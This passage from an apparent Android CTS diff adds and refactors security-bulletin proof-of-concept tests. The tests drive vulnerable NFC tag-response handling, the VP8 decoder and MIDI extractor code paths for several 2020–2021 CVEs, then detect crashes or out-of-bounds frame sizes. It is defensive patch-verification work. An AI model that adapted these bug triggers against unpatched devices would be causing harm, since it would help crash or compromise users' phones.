block-write to complete */ +}; + +enum { + P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET +}; + +void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) { + (void) event; + (void) p_rw_data; +} + +void GKI_freebuf(void* p_buf __attribute__((unused))) { +} + +void GKI_start_timer(uint8_t, int32_t, bool) { +} + +void GKI_stop_timer(uint8_t) { +} + +void exit_handler(void) { + if (p_data) { + if (p_data->data.p_data) { + free(p_data->data.p_data); + p_data->data.p_data = nullptr; + } + free(p_data); + p_data = nullptr; + } +} + +int main() { + atexit(exit_handler); + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = { }; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + + tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t; + GKI_init(); + rw_init(); + + rw_cb.p_cback = &poc_cback; + uint8_t peer_nfcid2[NCI_RF_F_UID_LEN]; + uint8_t mrti_check = 1, mrti_update = 1; + FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK); + + p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN)); + FAIL_CHECK(p_data); + + p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4); + FAIL_CHECK(p_data->data.p_data); + + p_data->status = NFC_STATUS_OK; + p_t3t->cur_cmd = RW_T3T_CMD_FORMAT; + p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING; + p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK; + NFC_HDR *p_msg = (p_data->data).p_data; + p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN; + uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1); + p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP; + p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK; + uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA]; + p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL; + tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID]; + tNFC_CONN_EVT event = NFC_DATA_CEVT; + memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM], + NCI_NFCID2_LEN); + + testInProgress = true; + p_cb->p_cback(0, event, p_data); + testInProgress = false; + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp new file mode 100644 index 00000000000..aa9a2f93e70 --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp @@ -0,0 +1,42 @@ +/* + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at: + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + */ + +package { + default_applicable_licenses: ["Android-Apache-2.0"], +} + +cc_test { + name: "CVE-2020-0034", + defaults: ["cts_hostsidetests_securitybulletin_defaults"], + srcs: [ + "poc.cpp", + ], + compile_multilib: "32", + arch: { + arm: { + include_dirs: [ + "external/libvpx/config/arm-neon", + ], + shared_libs: [ + "libvpx", + ], + cflags: [ + "-DTEST_ARM32", + ], + }, + }, +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp new file mode 100644 index 00000000000..cc7cc22b99b --- /dev/null +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp @@ -0,0 +1,109 @@ +/** + * Copyright (C) 2022 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +#include <stdlib.h> + +#ifdef TEST_ARM32 +#include <unistd.h> +#include "../includes/common.h" + +#include <string.h> +#include <algorithm> +#include <vector> +#include "vpx/vp8dx.h" +#include "vpx/vpx_decoder.h" +#include "vpx_ports/mem_ops.h" + +#define IVF_FILE_HDR_SZ 32 +#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */ + +FILE *fp = nullptr; + +void exitHandler(void) { + if (fp) { + fclose(fp); + } +} + +bool testInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) { + if (testInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} +#endif + +int32_t main(int32_t argc, char **argv) { + (void)argc; + (void)argv; + +#ifdef TEST_ARM32 + atexit(exitHandler); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + FAIL_CHECK(argc >= 2); + fp = fopen(argv[1], "rb"); + FAIL_CHECK(fp); + + fseek(fp, 0, SEEK_END); + size_t size = ftell(fp); + fseek(fp, 0, SEEK_SET); + FAIL_CHECK(size > IVF_FILE_HDR_SZ); + + std::vector<uint8_t> buffer(size); + FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size); + + vpx_codec_ctx_t codec; + vpx_codec_dec_cfg_t cfg; + memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t)); + cfg.threads = 1; + FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK); + + uint8_t *data = buffer.data(); + data += IVF_FILE_HDR_SZ; + size -= IVF_FILE_HDR_SZ; + + while (size > IVF_FRAME_HDR_SZ) { + size_t frame_size = mem_get_le32(data); + size -= IVF_FRAME_HDR_SZ; + data += IVF_FRAME_HDR_SZ; + frame_size = std::min(size, frame_size); + + testInProgress = true; + vpx_codec_decode(&codec, data, frame_size, nullptr, 0); + testInProgress = false; + + vpx_codec_iter_t iter = nullptr; + vpx_image_t *img = nullptr; + while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) { + if (img->d_w > img->w || img->d_h > img->h) { + return EXIT_VULNERABLE; + } + } + data += frame_size; + size -= frame_size; + } + vpx_codec_destroy(&codec); +#endif + + return EXIT_SUCCESS; +} diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp index d6ea4462558..8249c0c344e 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp @@ -19,6 +19,16 @@ #include <nfc_api.h> #include <rw_int.h> +bool isTestInProgress = false; +struct sigaction new_action, old_action; +void sigabrt_handler(int signum, siginfo_t* info, void* context) { + if (isTestInProgress && info->si_signo == SIGABRT) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + exit(EXIT_FAILURE); +} + extern tRW_CB rw_cb; void rw_init(void); void rw_t2t_handle_rsp(uint8_t* p_data); @@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) { } int main() { + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigabrt_handler; + sigaction(SIGABRT, &new_action, &old_action); + + tNFC_ACTIVATE_DEVT p_activate_params = {}; + p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP; + p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A; + RW_SetActivatedTagType(&p_activate_params, &poc_cback); + FAIL_CHECK(rw_cb.p_cback == &poc_cback); + tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t; rw_init(); rw_cb.p_cback = &poc_cback; @@ -38,6 +59,8 @@ int main() { p_t2t->bytes_count = 1; p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES; uint8_t data[T2T_READ_DATA_LEN]; + isTestInProgress = true; rw_t2t_handle_rsp(data); + isTestInProgress = false; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp index 43da25d3c3e..6ea13d67caf 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp @@ -16,46 +16,55 @@ #include <IMediaExtractor.h> #include <dlfcn.h> -#include <signal.h> -#include <stdlib.h> -#include <fcntl.h> - #include "../includes/common.h" #include "../includes/memutils.h" #if _32_BIT #define LIBNAME "/system/lib/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so" #elif _64_BIT #define LIBNAME "/system/lib64/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib64/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so" #endif char enable_selective_overload = ENABLE_NONE; using namespace android; +bool isTestInProgress = false; + +struct sigaction new_action, old_action; + +int fdData, fdInfo; + +void *libHandle = nullptr; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + class XMFDataSource : public DataSource { -public: - int mFdData; - int mFdInfo; - XMFDataSource(int fdData, int fdInfo) { - mFdData = fdData; - mFdInfo = fdInfo; + public: + int mFdData; + int mFdInfo; + XMFDataSource(int fdData, int fdInfo) { + mFdData = fdData; + mFdInfo = fdInfo; } ~XMFDataSource() = default; - virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, - size_t size) { - uint32_t infoOffset, infoSize; - read(mFdInfo, &infoSize, sizeof(int32_t)); - read(mFdInfo, &infoOffset, sizeof(int32_t)); - lseek(mFdData, infoOffset, SEEK_SET); - read(mFdData, data, infoSize); - return size; + virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) { + uint32_t infoOffset, infoSize; + read(mFdInfo, &infoSize, sizeof(int32_t)); + read(mFdInfo, &infoOffset, sizeof(int32_t)); + lseek(mFdData, infoOffset, SEEK_SET); + read(mFdData, data, infoSize); + return size; } virtual status_t getSize(off64_t *size) { @@ -65,57 +74,50 @@ public: virtual status_t initCheck() const { return 0; } }; -void close_resources(int fdData, int fdInfo, void *libHandle) { - if (fdData >= 0) { - ::close(fdData); - } - if (fdInfo >= 0) { - ::close(fdInfo); - } - if (libHandle) { - dlclose(libHandle); - } +void close_resources() { + if (fdData >= 0) { + ::close(fdData); + } + if (fdInfo >= 0) { + ::close(fdInfo); + } + if (libHandle) { + dlclose(libHandle); + } } int main(int argc, char **argv) { - if (argc < 3) { - return EXIT_FAILURE; - } - enable_selective_overload = ENABLE_ALL; - void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); - if (!libHandle) { - libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + atexit(close_resources); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + FAIL_CHECK(argc == 3); + libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); if (!libHandle) { - return EXIT_FAILURE; - } + libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + FAIL_CHECK(libHandle); } GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF"); - if (!getDef) { - dlclose(libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(getDef); - int fdData = open(argv[1], O_RDONLY); - if (fdData < 0) { - dlclose(libHandle); - return EXIT_FAILURE; - } - int fdInfo = open(argv[2], O_RDONLY); - if (fdInfo < 0) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + fdData = open(argv[1], O_RDONLY); + FAIL_CHECK(fdData >= 0); + + fdInfo = open(argv[2], O_RDONLY); + FAIL_CHECK(fdInfo >= 0); sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo); - if (!dataSource) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(dataSource); + + enable_selective_overload = ENABLE_ALL; + isTestInProgress = true; void *meta = nullptr; FreeMetaFunc freeMeta = nullptr; - float confidence = 0.0f; if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) { getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); @@ -123,7 +125,7 @@ int main(int argc, char **argv) { getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); } - close_resources(fdData, fdInfo, libHandle); - enable_selective_overload = ENABLE_NONE; + isTestInProgress = false; + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp index 313f21a7f56..e72af641152 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp @@ -16,46 +16,55 @@ #include <IMediaExtractor.h> #include <dlfcn.h> -#include <signal.h> -#include <stdlib.h> -#include <fcntl.h> - #include "../includes/common.h" #include "../includes/memutils.h" #if _32_BIT #define LIBNAME "/system/lib/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so" #elif _64_BIT #define LIBNAME "/system/lib64/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib64/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so" #endif char enable_selective_overload = ENABLE_NONE; using namespace android; +bool isTestInProgress = false; + +struct sigaction new_action, old_action; + +int fdData, fdInfo; + +void *libHandle = nullptr; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + class XMFDataSource : public DataSource { -public: - int mFdData; - int mFdInfo; - XMFDataSource(int fdData, int fdInfo) { - mFdData = fdData; - mFdInfo = fdInfo; + public: + int mFdData; + int mFdInfo; + XMFDataSource(int fdData, int fdInfo) { + mFdData = fdData; + mFdInfo = fdInfo; } ~XMFDataSource() = default; - virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, - size_t size) { - uint32_t infoOffset, infoSize; - read(mFdInfo, &infoSize, sizeof(int32_t)); - read(mFdInfo, &infoOffset, sizeof(int32_t)); - lseek(mFdData, infoOffset, SEEK_SET); - read(mFdData, data, infoSize); - return size; + virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) { + uint32_t infoOffset, infoSize; + read(mFdInfo, &infoSize, sizeof(int32_t)); + read(mFdInfo, &infoOffset, sizeof(int32_t)); + lseek(mFdData, infoOffset, SEEK_SET); + read(mFdData, data, infoSize); + return size; } virtual status_t getSize(off64_t *size) { @@ -65,57 +74,50 @@ public: virtual status_t initCheck() const { return 0; } }; -void close_resources(int fdData, int fdInfo, void *libHandle) { - if (fdData >= 0) { - ::close(fdData); - } - if (fdInfo >= 0) { - ::close(fdInfo); - } - if (libHandle) { - dlclose(libHandle); - } +void close_resources() { + if (fdData >= 0) { + ::close(fdData); + } + if (fdInfo >= 0) { + ::close(fdInfo); + } + if (libHandle) { + dlclose(libHandle); + } } int main(int argc, char **argv) { - if (argc < 3) { - return EXIT_FAILURE; - } - enable_selective_overload = ENABLE_ALL; - void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); - if (!libHandle) { - libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + atexit(close_resources); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + FAIL_CHECK(argc == 3); + libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); if (!libHandle) { - return EXIT_FAILURE; - } + libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + FAIL_CHECK(libHandle); } GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF"); - if (!getDef) { - dlclose(libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(getDef); - int fdData = open(argv[1], O_RDONLY); - if (fdData < 0) { - dlclose(libHandle); - return EXIT_FAILURE; - } - int fdInfo = open(argv[2], O_RDONLY); - if (fdInfo < 0) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + fdData = open(argv[1], O_RDONLY); + FAIL_CHECK(fdData >= 0); + + fdInfo = open(argv[2], O_RDONLY); + FAIL_CHECK(fdInfo >= 0); sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo); - if (!dataSource) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(dataSource); + + enable_selective_overload = ENABLE_ALL; + isTestInProgress = true; void *meta = nullptr; FreeMetaFunc freeMeta = nullptr; - float confidence = 0.0f; if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) { getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); @@ -123,7 +125,7 @@ int main(int argc, char **argv) { getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); } - close_resources(fdData, fdInfo, libHandle); - enable_selective_overload = ENABLE_NONE; + isTestInProgress = false; + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp index 43da25d3c3e..6ea13d67caf 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp @@ -16,46 +16,55 @@ #include <IMediaExtractor.h> #include <dlfcn.h> -#include <signal.h> -#include <stdlib.h> -#include <fcntl.h> - #include "../includes/common.h" #include "../includes/memutils.h" #if _32_BIT #define LIBNAME "/system/lib/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so" #elif _64_BIT #define LIBNAME "/system/lib64/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib64/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so" #endif char enable_selective_overload = ENABLE_NONE; using namespace android; +bool isTestInProgress = false; + +struct sigaction new_action, old_action; + +int fdData, fdInfo; + +void *libHandle = nullptr; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + class XMFDataSource : public DataSource { -public: - int mFdData; - int mFdInfo; - XMFDataSource(int fdData, int fdInfo) { - mFdData = fdData; - mFdInfo = fdInfo; + public: + int mFdData; + int mFdInfo; + XMFDataSource(int fdData, int fdInfo) { + mFdData = fdData; + mFdInfo = fdInfo; } ~XMFDataSource() = default; - virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, - size_t size) { - uint32_t infoOffset, infoSize; - read(mFdInfo, &infoSize, sizeof(int32_t)); - read(mFdInfo, &infoOffset, sizeof(int32_t)); - lseek(mFdData, infoOffset, SEEK_SET); - read(mFdData, data, infoSize); - return size; + virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) { + uint32_t infoOffset, infoSize; + read(mFdInfo, &infoSize, sizeof(int32_t)); + read(mFdInfo, &infoOffset, sizeof(int32_t)); + lseek(mFdData, infoOffset, SEEK_SET); + read(mFdData, data, infoSize); + return size; } virtual status_t getSize(off64_t *size) { @@ -65,57 +74,50 @@ public: virtual status_t initCheck() const { return 0; } }; -void close_resources(int fdData, int fdInfo, void *libHandle) { - if (fdData >= 0) { - ::close(fdData); - } - if (fdInfo >= 0) { - ::close(fdInfo); - } - if (libHandle) { - dlclose(libHandle); - } +void close_resources() { + if (fdData >= 0) { + ::close(fdData); + } + if (fdInfo >= 0) { + ::close(fdInfo); + } + if (libHandle) { + dlclose(libHandle); + } } int main(int argc, char **argv) { - if (argc < 3) { - return EXIT_FAILURE; - } - enable_selective_overload = ENABLE_ALL; - void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); - if (!libHandle) { - libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + atexit(close_resources); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + FAIL_CHECK(argc == 3); + libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); if (!libHandle) { - return EXIT_FAILURE; - } + libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + FAIL_CHECK(libHandle); } GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF"); - if (!getDef) { - dlclose(libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(getDef); - int fdData = open(argv[1], O_RDONLY); - if (fdData < 0) { - dlclose(libHandle); - return EXIT_FAILURE; - } - int fdInfo = open(argv[2], O_RDONLY); - if (fdInfo < 0) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + fdData = open(argv[1], O_RDONLY); + FAIL_CHECK(fdData >= 0); + + fdInfo = open(argv[2], O_RDONLY); + FAIL_CHECK(fdInfo >= 0); sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo); - if (!dataSource) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(dataSource); + + enable_selective_overload = ENABLE_ALL; + isTestInProgress = true; void *meta = nullptr; FreeMetaFunc freeMeta = nullptr; - float confidence = 0.0f; if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) { getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); @@ -123,7 +125,7 @@ int main(int argc, char **argv) { getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); } - close_resources(fdData, fdInfo, libHandle); - enable_selective_overload = ENABLE_NONE; + isTestInProgress = false; + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp index 43da25d3c3e..6ea13d67caf 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp @@ -16,46 +16,55 @@ #include <IMediaExtractor.h> #include <dlfcn.h> -#include <signal.h> -#include <stdlib.h> -#include <fcntl.h> - #include "../includes/common.h" #include "../includes/memutils.h" #if _32_BIT #define LIBNAME "/system/lib/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so" #elif _64_BIT #define LIBNAME "/system/lib64/extractors/libmidiextractor.so" -#define LIBNAME_APEX \ - "/apex/com.android.media/lib64/extractors/libmidiextractor.so" +#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so" #endif char enable_selective_overload = ENABLE_NONE; using namespace android; +bool isTestInProgress = false; + +struct sigaction new_action, old_action; + +int fdData, fdInfo; + +void *libHandle = nullptr; + +void sigsegv_handler(int signum, siginfo_t *info, void *context) { + if (isTestInProgress && info->si_signo == SIGSEGV) { + (*old_action.sa_sigaction)(signum, info, context); + return; + } + _exit(EXIT_FAILURE); +} + class XMFDataSource : public DataSource { -public: - int mFdData; - int mFdInfo; - XMFDataSource(int fdData, int fdInfo) { - mFdData = fdData; - mFdInfo = fdInfo; + public: + int mFdData; + int mFdInfo; + XMFDataSource(int fdData, int fdInfo) { + mFdData = fdData; + mFdInfo = fdInfo; } ~XMFDataSource() = default; - virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, - size_t size) { - uint32_t infoOffset, infoSize; - read(mFdInfo, &infoSize, sizeof(int32_t)); - read(mFdInfo, &infoOffset, sizeof(int32_t)); - lseek(mFdData, infoOffset, SEEK_SET); - read(mFdData, data, infoSize); - return size; + virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) { + uint32_t infoOffset, infoSize; + read(mFdInfo, &infoSize, sizeof(int32_t)); + read(mFdInfo, &infoOffset, sizeof(int32_t)); + lseek(mFdData, infoOffset, SEEK_SET); + read(mFdData, data, infoSize); + return size; } virtual status_t getSize(off64_t *size) { @@ -65,57 +74,50 @@ public: virtual status_t initCheck() const { return 0; } }; -void close_resources(int fdData, int fdInfo, void *libHandle) { - if (fdData >= 0) { - ::close(fdData); - } - if (fdInfo >= 0) { - ::close(fdInfo); - } - if (libHandle) { - dlclose(libHandle); - } +void close_resources() { + if (fdData >= 0) { + ::close(fdData); + } + if (fdInfo >= 0) { + ::close(fdInfo); + } + if (libHandle) { + dlclose(libHandle); + } } int main(int argc, char **argv) { - if (argc < 3) { - return EXIT_FAILURE; - } - enable_selective_overload = ENABLE_ALL; - void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); - if (!libHandle) { - libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + atexit(close_resources); + + sigemptyset(&new_action.sa_mask); + new_action.sa_flags = SA_SIGINFO; + new_action.sa_sigaction = sigsegv_handler; + sigaction(SIGSEGV, &new_action, &old_action); + + FAIL_CHECK(argc == 3); + libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL); if (!libHandle) { - return EXIT_FAILURE; - } + libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL); + FAIL_CHECK(libHandle); } GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF"); - if (!getDef) { - dlclose(libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(getDef); - int fdData = open(argv[1], O_RDONLY); - if (fdData < 0) { - dlclose(libHandle); - return EXIT_FAILURE; - } - int fdInfo = open(argv[2], O_RDONLY); - if (fdInfo < 0) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + fdData = open(argv[1], O_RDONLY); + FAIL_CHECK(fdData >= 0); + + fdInfo = open(argv[2], O_RDONLY); + FAIL_CHECK(fdInfo >= 0); sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo); - if (!dataSource) { - close_resources(fdData, fdInfo, libHandle); - return EXIT_FAILURE; - } + FAIL_CHECK(dataSource); + + enable_selective_overload = ENABLE_ALL; + isTestInProgress = true; void *meta = nullptr; FreeMetaFunc freeMeta = nullptr; - float confidence = 0.0f; if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) { getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); @@ -123,7 +125,7 @@ int main(int argc, char **argv) { getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta); } - close_resources(fdData, fdInfo, libHandle); - enable_selective_overload = ENABLE_NONE; + isTestInProgress = false; + enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK; return EXIT_SUCCESS; } diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp index 700935ce0af..5033b2e6103 100644 --- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp +++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/Android.bp @@ -1,5 +1,5 @@ /* - * Copyright (C) 2021 The Android 